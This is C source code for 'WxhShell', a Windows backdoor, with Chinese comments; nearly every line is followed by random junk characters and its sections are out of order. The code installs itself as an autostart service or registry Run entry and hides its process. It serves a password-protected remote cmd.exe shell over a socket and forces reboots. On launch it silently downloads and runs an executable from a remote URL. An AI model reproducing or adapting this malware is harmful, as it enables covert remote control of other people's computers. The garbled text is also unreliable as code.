    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qQa}wcU'9p  
    else { :6dxtl/{b:  
    closesocket(wsh); p ll)Y  
    ExitThread(0); $[|mGae  
    } *1"+%Z^  
    break; =~gvZV-<  
    } Y/oHu@ _  
  // 获取shell +C)~bb*  
  case 's': { /wv0i3_e  
    CmdShell(wsh); <3 uNl  
    closesocket(wsh); 'ga/  
    ExitThread(0); VU#7%ufu&  
    break; jiGTA:v  
  } EM_d8o)`B  
  // 退出 p7 ~!z.)o  
  case 'x': { 1;iUWU1@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k7^5Bp8=  
    CloseIt(wsh); ,%y /kS]  
    break; xD7]C|8o  
    } /{2,zW  
  // 离开 kxCSs7J/  
  case 'q': { a9Vi];  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y0> @vTUX  
    closesocket(wsh); n"8Yv~v*2j  
    WSACleanup(); EX"yxZ~  
    exit(1); K NOIZj   
    break; n{jGOfc  
        } "  1tH  
  } >mkFV@`  
  } jWgX_//!  
H/Jbk*Q  
  // 提示信息 +|f@^-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YYS0`  
} O0:q;<>z  
  } |BYRe1l6l  
ykJ>*z  
  return; C,zohlpC  
} )B*t :tN  
kf9X$d6   
// shell模块句柄 m[2gdJK  
int CmdShell(SOCKET sock) Bp{Ri_&A  
{ bK7J}8hH  
STARTUPINFO si; &3&HY:yF  
ZeroMemory(&si,sizeof(si)); g{LP7 D;6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )PZT4jTt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V~#tuv  
PROCESS_INFORMATION ProcessInfo; d=^z`nt !R  
char cmdline[]="cmd"; ~G w*r\\+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3XKf!P  
  return 0; k{0o9,  
} ipz5H*  
!~Z"9(v'C  
// 自身启动模式 ,//S`j$S  
int StartFromService(void) 8EY:t zw  
{ ^sZ,2,^  
typedef struct vD4*&|8T#  
{ 5R7DDJk  
  DWORD ExitStatus; ( 5~h"s  
  DWORD PebBaseAddress; 1x^GWtRp  
  DWORD AffinityMask; D'4\*4is  
  DWORD BasePriority; HT@=evV  
  ULONG UniqueProcessId; V )4J`xg^  
  ULONG InheritedFromUniqueProcessId; 4K74=r),i  
}   PROCESS_BASIC_INFORMATION; *ui</+  
x^CS"v7  
PROCNTQSIP NtQueryInformationProcess; W l4%GB  
=V5%+/r+f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5-M-X#(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AwN!;t_0+N  
!'Kj x  
  HANDLE             hProcess; LQ% `c  
  PROCESS_BASIC_INFORMATION pbi; t<qiGDJ<d  
nFn5v'g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N g,j#  
  if(NULL == hInst ) return 0; V.Mry`9-  
5 dg(e3T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p[cX O=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); adw2x pj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .(vwIb8\_  
%)wjR/o  
  if (!NtQueryInformationProcess) return 0; EK'!}OGCG  
2pAW9R#UV-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v0y(58Rz.  
  if(!hProcess) return 0; 0IpmRH/  
r*Xuj=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;d?R:Uw8  
KlqY@Xt  
  CloseHandle(hProcess); Js;h%  
hOeRd#AQK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pJ{Y lS{  
if(hProcess==NULL) return 0; <vP=zk  
?# fQ~ s  
HMODULE hMod; f!"w5qC^  
char procName[255]; gFh*eCo   
unsigned long cbNeeded; +h$ 9\  
_-\#i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cZ06Kx..  
W8<%[-r  
  CloseHandle(hProcess); ,vDbp?)'U  
d'2A,B~_*  
if(strstr(procName,"services")) return 1; // 以服务启动 HTtnXBJ)*H  
saAF+H/=  
  return 0; // 注册表启动 <uJ@:oWG7  
} qWw=8Bq  
o(HbGHIP  
// 主模块 yHGADH0B  
int StartWxhshell(LPSTR lpCmdLine) Z ]ONh  
{ NO3/rJ6-  
  SOCKET wsl; $J2Gf(RU  
BOOL val=TRUE; n*$ g]G$  
  int port=0; Je{ykL?N  
  struct sockaddr_in door; ME dWLFf  
UI#h&j5pW  
  if(wscfg.ws_autoins) Install(); [!z,lY>  
If.r5z9  
port=atoi(lpCmdLine); Q20 %"&Xp]  
he4(hX^  
if(port<=0) port=wscfg.ws_port;  )*[3Vq  
M`>E|" <  
  WSADATA data; 1"g<0 W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g5yJfRLxp  
Lv%x81]K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   26nx`w?j(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $C\BcKlmv  
  door.sin_family = AF_INET; :%.D78&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?8$Q-1=  
  door.sin_port = htons(port); z@Y;r=v  
oQ#8nu{k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m2o0y++TjW  
closesocket(wsl); ]tD]Wx%  
return 1; SdWV3  
} &o*A {  
l\mPHA23  
  if(listen(wsl,2) == INVALID_SOCKET) { OY d !v`<  
closesocket(wsl);  `]X>V,  
return 1; kFB  
} vbNBLCwug  
  Wxhshell(wsl); 2|L&DF:G  
  WSACleanup(); PdCEUh\>y  
9my^ Y9B  
return 0; q7!{?\T%  
] @'!lhLi  
} Z7#+pPt!  
99S ^f:t  
// 以NT服务方式启动 w &(ag$p'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,^:.dFH6  
{ [~^0gAlQC  
DWORD   status = 0; ;I*o@x_  
  DWORD   specificError = 0xfffffff; T |p"0b A  
.h[:xYm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~`/V(r;o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "{n&~H`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H.c7Nle  
  serviceStatus.dwWin32ExitCode     = 0; /mMV{[  
  serviceStatus.dwServiceSpecificExitCode = 0; :svq E+2  
  serviceStatus.dwCheckPoint       = 0; g{Rd=1SK]  
  serviceStatus.dwWaitHint       = 0; ;r8X.>P*  
n ;Ei\\p!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U17d>]ka  
  if (hServiceStatusHandle==0) return; ~zgGa:uU  
7"##]m.  
status = GetLastError(); ?CZd Ol  
  if (status!=NO_ERROR) H[gWGbPq7  
{ ?(PKeq6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g\U-VZ6;p  
    serviceStatus.dwCheckPoint       = 0; -12U4h<e  
    serviceStatus.dwWaitHint       = 0; a}d@ T  
    serviceStatus.dwWin32ExitCode     = status; d1*<Ll9K  
    serviceStatus.dwServiceSpecificExitCode = specificError; ebq4g387X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;*N5Y}?j'  
    return; ),)lzN%!  
  } >7FHo-H/T  
N;d] 14|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u y+pP!<  
  serviceStatus.dwCheckPoint       = 0; /{[o ~:'p  
  serviceStatus.dwWaitHint       = 0; 2/f}S?@   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ; KA~Z5x;  
} *#2h/Q.  
j+!v}*I![  
// 处理NT服务事件,比如:启动、停止 9ati`-y2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~[ F`"  
{ )1z@  
switch(fdwControl) pw#-_  
{ @L`jk+Y0vF  
case SERVICE_CONTROL_STOP: K'xV;r7Nt  
  serviceStatus.dwWin32ExitCode = 0; S @Y39  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7nSxi+6e  
  serviceStatus.dwCheckPoint   = 0; fOHxtHM  
  serviceStatus.dwWaitHint     = 0; 5N]"~w*  
  { 9^x> 3Bo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @d_M@\r=j  
  } KXrjqqXs  
  return; i@q&5;%%  
case SERVICE_CONTROL_PAUSE: k!^{eOM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K@2),(z  
  break; NRuNKl.v  
case SERVICE_CONTROL_CONTINUE: 8(De^H lO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; df=f62  
  break; |:o4w  
case SERVICE_CONTROL_INTERROGATE: Pfhmo $  
  break; @ZJS&23E  
}; YR70BOxK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >_TZ'FT  
} Om<a<q  
rA1._   
// 标准应用程序主函数 "7 yD0T)2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yu|>t4#GT  
{ TvM~y\s  
2eogY#  
// 获取操作系统版本 cl1T8vFM  
OsIsNt=GetOsVer(); :3PH8TL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +t.b` U`-  
?M2J wAK5  
  // 从命令行安装 RFGffA&  
  if(strpbrk(lpCmdLine,"iI")) Install(); :m;p:l|W  
54,er$$V  
  // 下载执行文件 pCDmXB  
if(wscfg.ws_downexe) { @W<m 4fi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^OdP4m( >>  
  WinExec(wscfg.ws_filenam,SW_HIDE); }vuARZ>  
} K"6vXv4QO  
iscz}E,Y  
if(!OsIsNt) { `V1]k_h  
// 如果时win9x,隐藏进程并且设置为注册表启动 qK+5NF|  
HideProc(); Sdo-nt  
StartWxhshell(lpCmdLine); Ef\ -VKh  
} mDWG7Asp  
else i%/+5gq  
  if(StartFromService()) x;S @bY  
  // 以服务方式启动 S/ *E,))m  
  StartServiceCtrlDispatcher(DispatchTable); gUlo]!$  
else [^)g%|W  
  // 普通方式启动 OI*H,Z "  
  StartWxhshell(lpCmdLine); wkq 66?  
.}t e>]A*  
return 0; [0of1eCSl  
} v19-./H^ j  
4*L_)z&4;  
@~e5<:|5#  
-=="<0c  
=========================================== +vH4MwG$.&  
J,hCvm  
mw!F{pw  
'91/md5  
29rX%09T]  
{ax:RUQxy  
" /z!%d%"  
}C:r 9? T  
#include <stdio.h> \bF{-"7.  
#include <string.h> H|*m$| $,  
#include <windows.h> [ 3Gf2_  
#include <winsock2.h> 8}[).d160  
#include <winsvc.h> RN1_S  
#include <urlmon.h> ig!+2g  
_#niyW+?~  
#pragma comment (lib, "Ws2_32.lib") do%&m]#;  
#pragma comment (lib, "urlmon.lib") eRYK3W  
.H|-_~Yx|  
#define MAX_USER   100 // 最大客户端连接数 *|0 -~u%q  
#define BUF_SOCK   200 // sock buffer j.Hf/vi`z  
#define KEY_BUFF   255 // 输入 buffer +0&/g&a\R  
osRy e3  
#define REBOOT     0   // 重启 2T35{Q!=F  
#define SHUTDOWN   1   // 关机 p?!/+  
. vV|hSc  
#define DEF_PORT   5000 // 监听端口 |=w@H]r  
y `UaB3q  
#define REG_LEN     16   // 注册表键长度 = &]L00u.  
#define SVC_LEN     80   // NT服务名长度 ^c<Ve'-  
Wri<h:1  
// 从dll定义API b sX[UF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 53D]3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .]u /O`c]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d~H`CrQE*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?}0,o.  
|N2#ItBbW  
// wxhshell配置信息 Za9qjBH   
struct WSCFG { t!XwW$@  
  int ws_port;         // 监听端口 vt8By@]:  
  char ws_passstr[REG_LEN]; // 口令 ]`K2 N  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z~CjA%l  
  char ws_regname[REG_LEN]; // 注册表键名 WMdg1J+~  
  char ws_svcname[REG_LEN]; // 服务名 JI}'dU>*U:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3$ pX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l-Z4Mq6*L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j_AACq {.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N['  .BN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fex@,I&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f8~_E  
siI;"?  
}; {.yB'.k?  
{mg2pfhB!  
// default Wxhshell configuration M  >u_4AY  
struct WSCFG wscfg={DEF_PORT, QV!up^Zso  
    "xuhuanlingzhe", 2ESo2  
    1, ]DcFySyv  
    "Wxhshell", HtFDlvdy]  
    "Wxhshell", $Yq9P0Ya  
            "WxhShell Service", zfU{Kd  
    "Wrsky Windows CmdShell Service", U/U);frH  
    "Please Input Your Password: ", HfVZ~PP  
  1, #e"[^_C@!  
  "http://www.wrsky.com/wxhshell.exe", "sTRS*  
  "Wxhshell.exe" )8AXm  
    }; @]j1:PN-  
A"]YM'.  
// 消息定义模块 rp$'L7lrX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kmW4:EA%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y4-t7UlS;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J5qZFD  
char *msg_ws_ext="\n\rExit."; -f .,tM=  
char *msg_ws_end="\n\rQuit."; c)J%`i$  
char *msg_ws_boot="\n\rReboot..."; ax`o>_)  
char *msg_ws_poff="\n\rShutdown..."; wMn i  
char *msg_ws_down="\n\rSave to "; Tk}]Gev  
j%kncGS  
char *msg_ws_err="\n\rErr!"; (=0.inZ  
char *msg_ws_ok="\n\rOK!"; ~$'awY  
;l+Leex  
char ExeFile[MAX_PATH]; # d  
int nUser = 0; Vr}'.\$  
HANDLE handles[MAX_USER]; l#o ~W`  
int OsIsNt; aN?zmkPpov  
/: "1Z]@  
SERVICE_STATUS       serviceStatus; <)9y{J}s:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dd;~K&_Q/i  
W1~0_;  
// 函数声明 zCZf%ATq  
int Install(void); :Ye !w$r  
int Uninstall(void); 4s- !7  
int DownloadFile(char *sURL, SOCKET wsh); e ,(mR+a8  
int Boot(int flag); **%37  
void HideProc(void); kVgTGC"L=  
int GetOsVer(void); "jZ-,P=  
int Wxhshell(SOCKET wsl); .#gzP2 [q  
void TalkWithClient(void *cs); vXs"Dst  
int CmdShell(SOCKET sock); tmq OJ  
int StartFromService(void); ?s01@f#  
int StartWxhshell(LPSTR lpCmdLine); [,Gg^*umS  
(QEG4&9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +7Gwg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @ Y+oiB~Y  
-w2/w@&  
// 数据结构和表定义 J1k>07}|  
SERVICE_TABLE_ENTRY DispatchTable[] = K- v#.e4  
{ D*jM1w_`  
{wscfg.ws_svcname, NTServiceMain}, t.<i:#rj>l  
{NULL, NULL} |Cv!,]9:r  
}; ^#pEPVkY  
teR Tu  
// 自我安装 /uc>@!F  
int Install(void) >MZ/|`[M  
{ r!v\"6:OM  
  char svExeFile[MAX_PATH]; D.:Zx  
  HKEY key; ?,z}%p  
  strcpy(svExeFile,ExeFile); $Sq:q0  
)lkjqFQ(  
// 如果是win9x系统,修改注册表设为自启动 `Di{}/2  
if(!OsIsNt) { Oketwa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J.a]K[ci  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x2xRBkRg=  
  RegCloseKey(key); sJZ iI}Xc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G|Ti4_w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9up3[F$  
  RegCloseKey(key); `5*}p#G  
  return 0; sHj/;  
    } 3o*YzwRt  
  } - ).C  
} )0`C@um  
else { 81F9uM0  
e\rp)[>'  
// 如果是NT以上系统,安装为系统服务 #!=tDc &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VbYdZCC  
if (schSCManager!=0) KNl$3nX  
{ 0GLM(JmK  
  SC_HANDLE schService = CreateService Gv&V|7-f0  
  ( P \I|,  
  schSCManager, 5P bW[  
  wscfg.ws_svcname, PCA4k.,T  
  wscfg.ws_svcdisp, mFeP9MfJ  
  SERVICE_ALL_ACCESS, I%):1\)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kJU2C=m@e2  
  SERVICE_AUTO_START, gXU8hTd8  
  SERVICE_ERROR_NORMAL, u8^lB7!e/  
  svExeFile,  7GGUV  
  NULL, (Ldi|jL  
  NULL, Iu{V,U  
  NULL, k6^Z~5 Sy  
  NULL, qq?!LEZ  
  NULL / {%%"j  
  ); ceA9) {  
  if (schService!=0) }V>T M{  
  { Om&Dw |xG8  
  CloseServiceHandle(schService); ~DWl s.  
  CloseServiceHandle(schSCManager); vO=fP_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cQ|NJ_F{1  
  strcat(svExeFile,wscfg.ws_svcname); XppOU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P>T"cv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NK+o1   
  RegCloseKey(key); KvS G;  
  return 0; 4i bc  
    } xw%0>K[  
  } {g6%(X\r.r  
  CloseServiceHandle(schSCManager); y`Fw-!'o  
} :UdF  
} }Z>)DN=+  
Bvj0^fSm  
return 1; 2%1hdA<  
} pAEx#ck  
~[: 2I  
// 自我卸载 t^HRgY'NjM  
int Uninstall(void) *j=% #  
{ GbyJ:  
  HKEY key; Ac6=(B  
%y@AA>x!  
if(!OsIsNt) { g0H[*"hj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'qi}|I  
  RegDeleteValue(key,wscfg.ws_regname); P>L +t`'  
  RegCloseKey(key); 58K5ZZG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RSds8\tk  
  RegDeleteValue(key,wscfg.ws_regname); 6@o*xK7L  
  RegCloseKey(key); POW>~Tof1  
  return 0; QJNFA}*>  
  } 0x7'^Z>-oe  
} $kgVa^  
} NA*&#X#~  
else { l6B@qYLZ  
3 $w65=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^aQ"E9  
if (schSCManager!=0) g}i61(  
{ PH"%kCI:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $( )>g>%  
  if (schService!=0) ?"FbsMk.d  
  { V :eD]zq5  
  if(DeleteService(schService)!=0) { =43auFY-P  
  CloseServiceHandle(schService); @o^Ww  
  CloseServiceHandle(schSCManager); ;jPXs  
  return 0; e )ZUO_Q$  
  } AGno6g  
  CloseServiceHandle(schService); D$N /FJ8|G  
  } Y7nvHU|+o  
  CloseServiceHandle(schSCManager); _wcNgFx  
} BY*Q_Et  
} E4!Fupkpf  
\ jA~9  
return 1; .543N<w  
} !BI;C(,RL  
#g=XUZ/"  
// 从指定url下载文件 V]N?6\Op  
int DownloadFile(char *sURL, SOCKET wsh) |o @%dH  
{ *VeRVaBl  
  HRESULT hr;  ]k(]qZ  
char seps[]= "/"; d3Rw!slIq  
char *token; ^.G$Q#y,  
char *file; ;=@0'xPEa-  
char myURL[MAX_PATH]; -8Xf0_  
char myFILE[MAX_PATH]; +#By*;BJ  
vy/-wP|1  
strcpy(myURL,sURL); ]9X DS[<2`  
  token=strtok(myURL,seps); SaCh 7 ^  
  while(token!=NULL) :EH=_"  
  { /bEAK-  
    file=token; "j-CZ\]U|  
  token=strtok(NULL,seps); r/sNrB1U"y  
  } U&xUfBDt  
H-%v3d>3  
GetCurrentDirectory(MAX_PATH,myFILE); q=G+Tocv  
strcat(myFILE, "\\"); G`zm@QL  
strcat(myFILE, file); .2pK.$.  
  send(wsh,myFILE,strlen(myFILE),0); 2%> FR4a  
send(wsh,"...",3,0); j9,P/K$:w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K#xv u1U  
  if(hr==S_OK) 6#yUc_5 \  
return 0; j4b4!^fV  
else AEuG v}#  
return 1; Y~Ifj,\  
IAEAhqp  
} nie%eC&U  
2(nlJ7R  
// 系统电源模块 :!/8 Hv  
int Boot(int flag) bfO=;S]b!  
{ `kr?j:g  
  HANDLE hToken; a> )f=uS  
  TOKEN_PRIVILEGES tkp; w:l"\Tm  
<or2  
  if(OsIsNt) { W l1 6`9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - DCbko  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yBRC*0+Vy  
    tkp.PrivilegeCount = 1; m3ff;,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4sM.C9W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mq8L0%j  
if(flag==REBOOT) { aP`P)3O6)1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]HdCt3X  
  return 0; qa6,z.mQ  
} Jl<2>@  
else { lLD12d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z= !*e~j@  
  return 0; a: S -  
} X(C$@N  
  } PzGWff!*n  
  else { [:V$y1  
if(flag==REBOOT) { %UM *79  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8X0z~ &  
  return 0; (ik\|y% A  
} >j`qh:^  
else { s <Fl p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kg$ Mx  
  return 0; QM]YJr3r E  
} }&e5$lB  
} #[a*rD%m  
fzA9'i`  
return 1; X jX2]  
} xKC[=E>z  
yEoV[K8k  
// win9x进程隐藏模块 JCaOK2XT;  
void HideProc(void) E"@wek.-  
{ = f i$}>\  
Z/K{A`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sC;+F*0g  
  if ( hKernel != NULL ) ?s _5&j7  
  { ASfaX:ke  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]~nKK@Rw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HmwT~  
    FreeLibrary(hKernel); D0q ":WvE  
  } |I|fMF2K  
R$Q.sE  
return; p$>l7?h  
} @o6L6Y0Naa  
T#)P`q  
// 获取操作系统版本 A9JdU&  
int GetOsVer(void) ]tDDq=+v  
{ ~,~eoW7  
  OSVERSIONINFO winfo; k'"%.7$U!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @R  6@]Dm  
  GetVersionEx(&winfo); U?=Dg1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Pf~iwfw  
  return 1; PuO&wI]:  
  else hL5|69E  
  return 0; nLiY%x`S  
} `g})|Gx  
)Z VD+X  
// 客户端句柄模块 N36_C;K-z  
int Wxhshell(SOCKET wsl) 2|bn(QYz  
{ u4_9)P`]0  
  SOCKET wsh; ``Un&-Ms  
  struct sockaddr_in client; L^Fy#p  
  DWORD myID; (M ~e?s  
1r7y]FyH$  
  while(nUser<MAX_USER) [sb[Z:  
{ M xG W(p  
  int nSize=sizeof(client); #u + v_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _,d~}_$`i  
  if(wsh==INVALID_SOCKET) return 1; @fV9 S"TcM  
69 o 7EA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .}`Ix'.  
if(handles[nUser]==0) lA-h`rl /  
  closesocket(wsh); l0hlM#  
else _7)n(1h[3b  
  nUser++; ->{KVPHe{  
  } +H2-ZXr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Le{\}-$.  
XGMiW0j0B  
  return 0; IkXx# )  
} {u9}bx'<  
D1mfm.9_r^  
// 关闭 socket 2T TdH)  
void CloseIt(SOCKET wsh) BRYHX.}h\A  
{ gGS=cdlV  
closesocket(wsh); Rx|;=-8zg  
nUser--; *cnNuT  
ExitThread(0); {91nL'-'  
} kE(mVyLQ  
Pc o'l#:  
// 客户端请求句柄 v6Vcjm  
void TalkWithClient(void *cs) v]c6R-U  
{ /^|Dbx!u  
R^e.s -  
  SOCKET wsh=(SOCKET)cs; s|B3~Q]  
  char pwd[SVC_LEN]; &l[$*<P5V  
  char cmd[KEY_BUFF]; w8D"CwS1Rx  
char chr[1]; A_#DJJMm  
int i,j; !&Pui{F  
/[>sf[X\I9  
  while (nUser < MAX_USER) { T${Q.zHY[!  
N{~Y J$!8  
if(wscfg.ws_passstr) { BI}Cg{^km  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 SGDy]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HOh!Xcu  
  //ZeroMemory(pwd,KEY_BUFF); CWP2{  
      i=0; .k \@zQ|Ta  
  while(i<SVC_LEN) { u=_mvN  
t@Nyr&|D  
  // 设置超时 ]}(H0?OQR  
  fd_set FdRead; P}G+4Sk  
  struct timeval TimeOut; wIBO ^w\J  
  FD_ZERO(&FdRead); 8Dm%@*B^b  
  FD_SET(wsh,&FdRead); K:Q<CQ2  
  TimeOut.tv_sec=8; iRi-cQVy  
  TimeOut.tv_usec=0; [R7Y}k:9U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s&!a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '-/xyAzS  
-8rjgB~."/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xpx\=iAe  
  pwd=chr[0]; A6iq[b]  
  if(chr[0]==0xd || chr[0]==0xa) { Nl(3Xqov  
  pwd=0; fe#\TNeQJ[  
  break; D+7Rz_=  
  } q=qcm`ce  
  i++; lR6x3C H@  
    } !o[7wKrXb  
d6sye^P  
  // 如果是非法用户,关闭 socket {Fe[:\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -{vKus  
} +V^;.P</  
M|(Q0 _8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); td3D=Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VEw"  
VD]zz ^  
while(1) { )M//l1  
1s@+;QUib  
  ZeroMemory(cmd,KEY_BUFF); 3fJc 9|  
l/ ;  
      // 自动支持客户端 telnet标准   "4,?uPi  
  j=0; ">j j  
  while(j<KEY_BUFF) { {Wu$YWE*sx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yw3$2EW  
  cmd[j]=chr[0]; Y<ql49-X  
  if(chr[0]==0xa || chr[0]==0xd) { 9 ea\vZ  
  cmd[j]=0; ~B(4qK1G  
  break; A1?2*W  
  } >q1L2',pK  
  j++; v(D;PS3r 7  
    } YNj`W1  
JyOo1E.  
  // 下载文件 c+nq] xOs'  
  if(strstr(cmd,"http://")) { 0aa&m[Mk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (%W&4a1di  
  if(DownloadFile(cmd,wsh)) ^7KH _t8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M8b;d}XL  
  else dIBE!4 V[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >:!X.TG$  
  } Eq\M;aDq  
  else { #!KE\OI;@5  
2eol gXp  
    switch(cmd[0]) { 1.9}_4!  
  4l45N6"  
  // 帮助 6Yxh9*N~]  
  case '?': { z}ddqZ27G$  
